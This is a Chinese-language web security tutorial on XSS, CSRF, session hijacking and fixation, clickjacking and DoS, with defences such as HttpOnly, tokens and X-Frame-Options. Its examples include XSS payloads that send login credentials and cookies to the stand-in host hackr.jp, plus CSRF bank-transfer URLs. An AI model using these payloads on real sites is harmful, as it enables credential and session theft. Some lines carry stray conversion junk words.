web攻擊技術與防禦

1、跨站腳本攻擊（XSS）javascript

跨站腳本攻擊是指經過存在安全漏洞的Web網站註冊用戶的瀏覽器運行非法的HTML標籤或JavaScript進行的一種攻擊。動態建立的HTML部分有可能隱藏着安全漏洞。就這樣，當攻擊者編寫腳本，設下陷阱，用戶在本身的瀏覽器上運行時，一不當心就會受到被動攻擊。html

跨站腳本攻擊有可能形成如下影響：java

利用虛假信息騙取用戶我的信息
利用腳本竊取用戶的Cookie值，被害人在不知情的狀況下，幫攻擊者發送惡意請求。
顯示僞造的文章或圖片。

跨站腳本攻擊案例程序員

1. 在動態生成的HTML處發生瀏覽器

在編輯我的信息的頁面處輸入<s>Username</s>，此時的確認界面上，瀏覽器會把用戶輸入的<s>解析成HTML標籤，而後顯示出刪除線，刪除線的顯示不會形成太大的不利影響，但若是換成使用<script>標籤將會帶來不可估量的影響。安全

2. 利用預先設置的陷阱觸發的被動攻擊服務器

當經過地址欄中的URL的查詢字段指定ID時，至關於在表單內自動填寫字符串的功能，此時隱藏着可執行跨站腳本攻擊的漏洞。若是攻擊者建立嵌入惡意代碼的URL。並隱藏植入事先準備好的欺詐郵件中或Web頁面內，誘使用戶去點擊該URL。cookie

http://example.jp/login?ID="><script>var+
f=document.getElementById("login");+
f.action="http://hackr.jp/pwget";+
f.method="get";</script><span+s="

瀏覽器打開該URL後，直觀感受沒產生什麼影響，但設置好的腳本卻偷偷開始運行了。當用戶在表單內輸入ID和密碼後，就會直接發送到攻擊者的網站，致使我的登錄信息被竊取。以後，ID及密碼會傳給該正規網站，而在接下來仍然是按正常登錄的步驟，用戶很難意識到本身的登錄信息已遭泄露。網絡

3. 對用戶Cookie的竊取攻擊session

//xss.js
var content=escape(document.cookies); document.write("<img src='http://hackr.jp/?'"); document.write(content); document.write(">");

<script src="http://hackr.jp/xss.js"></script>

在存在可跨站腳本攻擊安全漏洞的Web應用上執行上面這段Javascript程序，便可訪問到該Web應用所處域名下的Cookie信息。而後這些信息就會發送至攻擊者的Web網站，記錄在他的登錄日誌中。這樣，攻擊者就能夠竊取到用戶的Cookie信息了。

http://example.jp/login?ID="><script src='http://hackr.jp/xss.js'></script>"

防護方案：

設置Cookie的HttpOnly屬性，它使javascript腳本沒法得到Cookie

Set-Cookie: name=value; HttpOnly

設置後，一般還能夠從Web頁面對Cookie進行讀取操做。但使用Javascript的document.cookie就沒法讀取附加HttpOnly屬性後的Cookie內容了。

首部字段X-XSS-Protection

X-XSS-Protection: 1

該首部字段是HTTP響應首部，它是針對跨站腳本攻擊的一種對策，用於控制瀏覽器XSS的防禦機制的開關。0：將XSS過濾設置成無效狀態。1：將XSS過濾設置成有效狀態。

過濾或移除特殊的HTML標籤，如<script><iframe>，<、>、"等用實體&lt、&gt、&quot替代。
對數據進行HTML Encode處理

用戶提交的數據進行HTML編碼，將相應的符號轉換爲實體名稱再進行下一步處理。

過濾JavaScript事件的標籤。例如"onclick="，"onfocus"等等。
表單數據規定值的類型，例如年齡只能爲int，name只能爲字母數字下劃線組合

2、跨站點請求僞造（XSRF）

跨站點請求僞造攻擊是指攻擊者經過設置好的陷阱，強制對已完成認證的用戶進行非預期的我的信息或設定信息等某些狀態更新。

跨站點請求僞造可能形成以下影響：

利用已經過認證的用戶權限更新設定信息等
利用已經過認證的用戶權限購買商品、虛擬貨幣轉帳等
利用已經過認證的用戶權限在留言板上發表評論

跨站點請求僞造的攻擊案例

1. 銀行轉帳

受害者 Bob 在銀行有一筆存款，經過對銀行的網站發送請求 http://bank.example/withdraw?account=bob&amount=1000000&for=bob2 可使 Bob 把 1000000 的存款轉到 bob2 的帳號下。一般狀況下，該請求發送到網站後，服務器會先驗證該請求是否來自一個合法的 session，而且該 session 的用戶 Bob 已經成功登錄。

黑客 Mallory 本身在該銀行也有帳戶，他知道上文中的 URL 能夠把錢進行轉賬操做。Mallory 能夠本身發送一個請求給銀行：http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory。可是這個請求來自 Mallory 而非 Bob，他不能經過安全認證，所以該請求不會起做用。

這時，Mallory 想到使用 CSRF 的攻擊方式，他先本身作一個網站，在網站中放入以下代碼： src=」http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory 」，而且經過廣告等誘使 Bob 來訪問他的網站。當 Bob 訪問該網站時，上述 url 就會從 Bob 的瀏覽器發向銀行，而這個請求會附帶 Bob 瀏覽器中的 cookie 一塊兒發向銀行服務器。大多數狀況下，該請求會失敗，由於他要求 Bob 的認證信息。可是，若是 Bob 當時恰巧剛訪問他的銀行後不久，他的瀏覽器與銀行網站之間的 session 還沒有過時，瀏覽器的 cookie 之中含有 Bob 的認證信息。這時，悲劇發生了，這個 url 請求就會獲得響應，錢將從 Bob 的帳號轉移到 Mallory 的帳號，而 Bob 當時絕不知情。等之後 Bob 發現帳戶錢少了，即便他去銀行查詢日誌，他也只能發現確實有一個來自於他本人的合法請求轉移了資金，沒有任何被攻擊的痕跡。而 Mallory 則能夠拿到錢後逍遙法外。

2. 留言板功能

在留言板系統上，受害者用戶A是已認證狀態，在他的瀏覽器中的Cookie持有已認證的會話ID

GET/HTTP/1.1 Host: example.com Cookie: sid=1234567890

攻擊者在留言板上發表含有惡意代碼的評論

<img src="http://example.com/msg?q=你好">

設置好後一旦用戶訪問，即會發送在留言板上發表非主觀行爲產生的評論的請求的陷阱。用戶A的瀏覽器在完成陷阱中的請求後，留言板上也就會留下那條評論。用戶A的瀏覽器中的Cookie持有已認證的會話ID，利用用戶A的權限執行發表動做。

GET/msg?q=你好 HTTP/1.1 Host: example.com Cookie: sid=1234567890

防護方案

驗證HTTP Referer字段

首部字段Referer會告知服務器請求的原始資源的URI。一般，訪問一個安全受限頁面的請求來自於同一網站，好比訪問http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory，用戶必須首先登錄bank.example域名開頭的地址。而後經過點擊頁面上的按鈕來觸發轉帳事件。這時，該轉賬請求的 Referer 值就會是轉帳按鈕所在的頁面的 URL，一般是以 bank.example 域名開頭的地址。而若是黑客要對銀行網站實施 CSRF 攻擊，他只能在他本身的網站構造請求，當用戶經過黑客的網站發送請求到銀行時，該請求的 Referer 是指向黑客本身的網站。所以，要防護 CSRF 攻擊，銀行網站只須要對於每個轉帳請求驗證其 Referer 值，若是是以 bank.example 開頭的域名，則說明該請求是來自銀行網站本身的請求，是合法的。若是 Referer 是其餘網站的話，則有多是黑客的 CSRF 攻擊，拒絕該請求。

這種方法的顯而易見的好處就是簡單易行，網站的普通開發人員不須要操心 CSRF 的漏洞，只須要在最後給全部安全敏感的請求統一增長一個攔截器來檢查 Referer 的值就能夠。特別是對於當前現有的系統，不須要改變當前系統的任何已有代碼和邏輯，沒有風險，很是便捷。

然而，這種方法並不是萬無一失。Referer 的值是由瀏覽器提供的，雖然 HTTP 協議上有明確的要求，可是每一個瀏覽器對於 Referer 的具體實現可能有差異，並不能保證瀏覽器自身沒有安全漏洞。使用驗證 Referer 值的方法，就是把安全性都依賴於第三方（即瀏覽器）來保障，從理論上來說，這樣並不安全。事實上，對於某些瀏覽器，好比 IE6 或 FF2，目前已經有一些方法能夠篡改 Referer 值。若是 bank.example 網站支持 IE6 瀏覽器，黑客徹底能夠把用戶瀏覽器的 Referer 值設爲以 bank.example 域名開頭的地址，這樣就能夠經過驗證，從而進行 CSRF 攻擊。

即使是使用最新的瀏覽器，黑客沒法篡改 Referer 值，這種方法仍然有問題。客戶端通常都會發送Referer首部字段給服務器。但當直接在瀏覽器的地址欄中輸入URI，原始資源的URI中的查詢字符串可能含有ID和密碼等保密信息，要是寫進Referer轉發給其餘服務器，則有可能致使保密信息的泄漏。除此以外，因爲 Referer 值會記錄下用戶的訪問來源，有些用戶認爲這樣會侵犯到他們本身的隱私權，特別是有些組織擔憂 Referer 值會把組織內網中的某些信息泄露到外網中。所以，用戶本身能夠設置瀏覽器使其在發送請求時再也不提供 Referer。當他們正常訪問銀行網站時，網站會由於請求沒有 Referer 值而認爲是 CSRF 攻擊，拒絕合法用戶的訪問。

在請求地址中添加Token並驗證

CSRF 攻擊之因此可以成功，是由於黑客能夠徹底僞造用戶的請求，該請求中全部的用戶驗證信息都是存在於 cookie 中，所以黑客能夠在不知道這些驗證信息的狀況下直接利用用戶本身的 cookie 來經過安全驗證。要抵禦 CSRF，關鍵在於在請求中放入黑客所不能僞造的信息，而且該信息不存在於 cookie 之中。能夠在 HTTP 請求中以參數的形式加入一個隨機產生的 token，並在服務器端創建一個攔截器來驗證這個 token，若是請求中沒有 token 或者 token 內容不正確，則認爲多是 CSRF 攻擊而拒絕該請求。

這種方法要比檢查 Referer 要安全一些，token 能夠在用戶登錄後產生並放於 session 之中，而後在每次請求時把 token 從 session 中拿出，與請求中的 token 進行比對，但這種方法的難點在於如何把 token 以參數的形式加入請求。對於 GET 請求，token 將附在請求地址以後，這樣 URL 就變成 http://url?csrftoken=tokenvalue。而對於 POST 請求來講，要在 form 的最後加上 <input type=」hidden」 name=」csrftoken」 value=」tokenvalue」/>，這樣就把 token 以參數的形式加入請求了。可是，在一個網站中，能夠接受請求的地方很是多，要對於每個請求都加上 token 是很麻煩的，而且很容易漏掉，一般使用的方法就是在每次頁面加載時，使用 javascript 遍歷整個 dom 樹，對於 dom 中全部的 a 和 form 標籤後加入 token。這樣能夠解決大部分的請求，可是對於在頁面加載以後動態生成的 html 代碼，這種方法就沒有做用，還須要程序員在編碼時手動添加 token。

該方法還有一個缺點是難以保證 token 自己的安全。特別是在一些論壇之類支持用戶本身發表內容的網站，黑客能夠在上面發佈本身我的網站的地址。因爲系統也會在這個地址後面加上 token，黑客能夠在本身的網站上獲得這個 token，並立刻就能夠發動 CSRF 攻擊。爲了不這一點，系統能夠在添加 token 的時候增長一個判斷，若是這個連接是鏈到本身本站的，就在後面添加 token，若是是通向外網則不加。不過，即便這個 csrftoken 不以參數的形式附加在請求之中，黑客的網站也一樣能夠經過 Referer 來獲得這個 token 值以發動 CSRF 攻擊。這也是一些用戶喜歡手動關閉瀏覽器 Referer 功能的緣由。

在HTTP頭中自定義屬性並驗證

這種方法也是使用 token 並進行驗證，和上一種方法不一樣的是，這裏並非把 token 以參數的形式置於 HTTP 請求之中，而是把它放到 HTTP 頭中自定義的屬性裏。經過 XMLHttpRequest 這個類，能夠一次性給全部該類請求加上 csrftoken 這個 HTTP 頭屬性，並把 token 值放入其中。這樣解決了上種方法在請求中加入 token 的不便，同時，經過 XMLHttpRequest 請求的地址不會被記錄到瀏覽器的地址欄，也不用擔憂 token 會透過 Referer 泄露到其餘網站中去。

然而這種方法的侷限性很是大。XMLHttpRequest 請求一般用於 Ajax 方法中對於頁面局部的異步刷新，並不是全部的請求都適合用這個類來發起，並且經過該類請求獲得的頁面不能被瀏覽器所記錄下，從而進行前進，後退，刷新，收藏等操做，給用戶帶來不便。另外，對於沒有進行 CSRF 防禦的遺留系統來講，要採用這種方法來進行防禦，要把全部請求都改成 XMLHttpRequest 請求，這樣幾乎是要重寫整個網站，這代價無疑是難以使人接受的。

3、Session攻擊

1. 會話劫持攻擊

會話劫持（Session Hijack）是指攻擊者經過某種手段拿到了用戶的會話ID，並不是法使用此會話ID假裝成用戶，達到攻擊的目的。

具有認證功能的Web應用，使用會話ID的會話管理機制，做爲管理認證狀態的主流方式。會話ID中記錄客戶端的Cookie等信息，服務端將會話ID與認證狀態進行一對一匹配管理。

有下面幾種攻擊者獲取會話ID的途徑。

經過非正規的生成方法推測會話ID
經過竊聽或XSS攻擊盜取會話ID
經過會話固定攻擊（Session Fixation）強行獲取會話ID

攻擊步驟：

會話劫持攻擊案例

以認證功能爲例，經過會話管理機制，會將成功認證的用戶的會話ID（SID）保存在用戶瀏覽器的Cookie中。

攻擊者在得知該Web網站存在可跨站攻擊（XSS）的安全漏洞後，就設置好用Javascript腳本調用document.cookie以竊取Cookie信息的陷阱，一旦用戶踏入了這個陷阱，攻擊者就能獲取含有會話ID的Cookie。攻擊者拿到用戶的會話ID後，往本身的瀏覽器的Cookie中設置該會話ID，便可假裝成會話ID遭竊的用戶，訪問Web網站了。

會話劫持防禦：

關閉透明化的SessionID。透明化的SessionID指當瀏覽器中的HTTP請求沒有使用Cookie來存放SessionID時，SessionID則使用URL來傳遞。
設置HttpOnly。經過設置Cookie的HttpOnly，能夠防止客戶端腳本訪問這個Cookie，從而有效的防止XSS攻擊，進而防止Cookie的非法竊取。
驗證HTTP頭部信息。在http訪問頭文件中：[Accept-Charset、Accept-Encoding、Accept-Language、User-Agent]，通常瀏覽器發出的頭部不會改變。

確保User-Agent頭部信息一致的確是有效的，若是會話標識經過cookie傳遞，攻擊者能取得會話標識，他同時也能取得其它HTTP頭部。因爲cookie暴露與瀏覽器漏洞或跨站腳本漏洞相關，受害者須要訪問攻擊者的網站並暴露全部頭部信息。則攻擊者只需重建頭部便可進行攻擊了。

須要先作好XSS防護。

2. 會話固定攻擊

對以竊取目標會話ID爲主要攻擊手段的會話劫持而言，會話固定攻擊（Session Fixation）攻擊會強制用戶使用攻擊者指定的會話ID，屬於被動攻擊。讓合法用戶使用黑客預先設置的SessionID進行登陸，從而使Web再也不進行生成新的SessionID，從而致使黑客設置的SessionID變成了合法橋樑。會話固定也能夠當作是會話劫持的一種類型，緣由是會話固定的攻擊主要目的一樣是得到目標用戶的合法會話，不過會話固定還能夠是強迫受害者使用攻擊者設定的一個有效會話，以此來得到用戶的敏感信息。

攻擊步驟：

會話固定攻擊案例：

仍以認證功能爲例，對Web網站的認證功能，會在認證前發佈一個會話ID，若認證成功，就會在服務器內改變認證狀態。

攻擊者準備陷阱，先訪問Web網站拿到會話ID（假設是SID=f5d1278e8109)，此刻，會話ID在服務器上的記錄仍然是未認證狀態；攻擊者設置好強制用戶使用該會話ID的陷阱，並等待用戶拿着這個會話ID前去認證。一旦用戶觸發陷阱並完成認證，會話ID（SID=f5d1278e8109）在服務器上的狀態就會被記錄下來；攻擊者估計用戶差很少已經觸發陷阱後，再利用以前這個會話ID訪問網站，因爲該會話ID目前已經是用戶認證狀態，因而攻擊者做爲用戶的身份順利登錄網站。

會話固定防護

1. 每當用戶登錄的時候就進行重置SessionID

2. SessionID閒置太久時，進行重置SessionID

3. 大部分防止會話劫持的方法對固定攻擊一樣有效。如設置HttpOnly、關閉透明化SessionID、User-Agent驗證、Token校驗等。

4、點擊劫持

點擊劫持（Clickjacking）是指利用透明的按鈕或連接作成陷阱，覆蓋在Web頁面之上。而後誘使用戶在不知情的狀況下，點擊那個連接訪問內容的一種攻擊手段。這種行爲又稱爲界面假裝。已設置陷阱的Web頁面，表面上內容並沒有不妥，但早已埋入誘導連接。當用戶點擊到透明的按鈕時，其實是點擊了已指定透明屬性元素的iframe頁面。

防護方法：

利用header("X-Frame-Options:DENY");

DENY：表示拒絕瀏覽器加載任何frame頁面，

SAMEORIGIN：表示frame頁面地址只能是同源域名下的頁面，

ALLOW-FROM origin可自定義容許frame加載頁面地址。

經過寫一段javascript代碼來禁止iframe的嵌套，這種方法叫作frame busting。

if ( top.location != location ) { top.location = self.location; } //常見的frame busting有一下方式：
if (top != self) if (top.location != self.location) if (top.location != location) if (parent.frames.length > 0) if (window != top) if (window.top !== window.self) if (window.self != window.top) if (parent && parent != window) if (parent && parent.frames && parent.frames.length>0) if((self.parent && !(self.parent===self)) && (self.parent.frames.le ngth!=0)) top.location = self.location top.location.href = document.location.href top.location.href = self.location.href top.location.replace(self.location) top.location.href = window.location.href top.location.replace(document.location) top.location.href = window.location.href top.location.href = "URL" document.write('') top.location = location top.location.replace(document.location) top.location.replace('URL') top.location.href = document.location top.location.replace(window.location.href) top.location.href = location.href self.parent.location = document.location parent.location.href = self.document.location parent.location = self.location;

因爲這種方法存在被繞過的可能性，所以最好用第一種方法。

5、DOS攻擊

DOS攻擊(Denial of Service attack)是一種讓運行中的服務呈中止狀態的攻擊。有時也叫作服務中止攻擊或拒絕服務攻擊。DOS攻擊的對象不只限於Web網站，還包括網絡設備及服務器等。主要有如下兩種DOS攻擊方式：

1. 集中利用訪問請求形成資源過載，資源用盡的同時，實際上服務也就處於中止狀態。

2.經過攻擊安全漏洞使服務中止

參考：

https://blog.csdn.net/stpeace/article/details/53512283